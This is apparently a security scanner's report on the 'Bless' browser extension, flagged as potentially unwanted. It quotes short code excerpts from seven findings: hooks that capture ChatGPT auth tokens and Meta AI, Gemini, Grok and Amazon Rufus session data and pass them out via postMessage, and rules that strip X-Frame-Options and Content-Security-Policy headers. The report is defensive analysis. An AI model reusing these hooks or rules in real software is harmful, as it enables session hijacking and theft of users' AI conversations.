Caution: Potentially Unwanted Software
Bless
ID: pljbjcehnhcnofmkdbjolghdcjnmekia
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- bless.networkView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Email Change History
Bless Browser Extension
Hi! Bless is the world's first shared computer. Our extension allows you to automatically and anonymously contribute spare compute power from your device to the websites, applications and services that you use, in exchange for rewards. Instead of relying upon companies like Amazon Web Services or Google Cloud, we're creating an internet that's both powered and controlled by the people that use it. Learn more about Bless at https://bless.network/#faqs
Sensitive Domain Access
This extension has access to the following sensitive domains:
- https://*.google.com/*
- https://www.amazon.com/*
Intercepts fetch requests to capture ChatGPT auth tokens, device IDs, and sentinel tokens, then sends them to the parent window for exfiltration. This allows unauthorized use of the user's ChatGPT session.
if (reqHeaders.authorization) tokens.authToken = reqHeaders.authorization.replace("Bearer ", "");if (reqHeaders["oai-device-id"]) tokens.deviceId = reqHeaders["oai-device-id"];...window.postMessage(tokenData, "*");Overrides WebSocket constructor to intercept Meta AI communication. Captures binary messages and allows sending prompts via EXECUTE_METAAI_PROMPT, effectively hijacking the user's Meta AI session.
window.WebSocket = function(n, r) { ...t = a;...a.addEventListener("message", (e) => { e.data instanceof ArrayBuffer && T(e.data); });...}Hooks XMLHttpRequest on Gemini to parse conversation responses, extract messages, and send structured conversation data (including user prompts) to the parent window via postMessage, enabling unauthorized collection of Gemini interactions.
const processFullResponse = (responseText, userMessage) => { ...postUpdate(resolvedConvId);}Overrides fetch on Grok to capture statsigId headers and sends them to the parent window, extracting identifiable session information without consent.
if (sid) window.parent.postMessage({ type: "GROK_STATSIG_ID_CAPTURED", data: { statsigId: sid }}, "*");Injects hooks into Amazon's Rufus AI service to capture CSRF tokens and conversation data, then sends them via postMessage. Also forwards API requests from offscreen frames, enabling unauthorized use of the user's Amazon session.
window.__rufusEarlyHook__ = !0, window.parent === window ? e() : t();... function e() { ...window.fetch = c;...}Uses declarativeNetRequest to strip X-Frame-Options and Content-Security-Policy headers from ChatGPT subframes, bypassing security protections to allow iframing and covert data capture.
{ "id": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "X-Frame-Options", "operation": "remove" }, { "header": "Content-Security-Policy", "operation": "remove" } ] }, "condition": { "urlFilter": "||chatgpt.com", "resourceTypes": [ "sub_frame" ] }}Strips security headers from Google subframes, enabling unauthorized iframing and potential data exfiltration.
{ "id": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "X-Frame-Options", "operation": "remove" }, { "header": "Content-Security-Policy", "operation": "remove" } ] }, "condition": { "urlFilter": "*://*.google.com/*", "resourceTypes": [ "sub_frame" ] }}By severity
Versions scanned
Showing 1 of 12 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.3.15 | 7 |
Files with findings
7 distinct paths — top paths by unique finding count:
- chatgpt-early-hook.js1
- chatgpt-rules.json1
- gemini-early-hook.js1
- google-rules.json1
- grok-early-hook.js1
- metaai-early-hook.js1
- rufus-early-hook.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.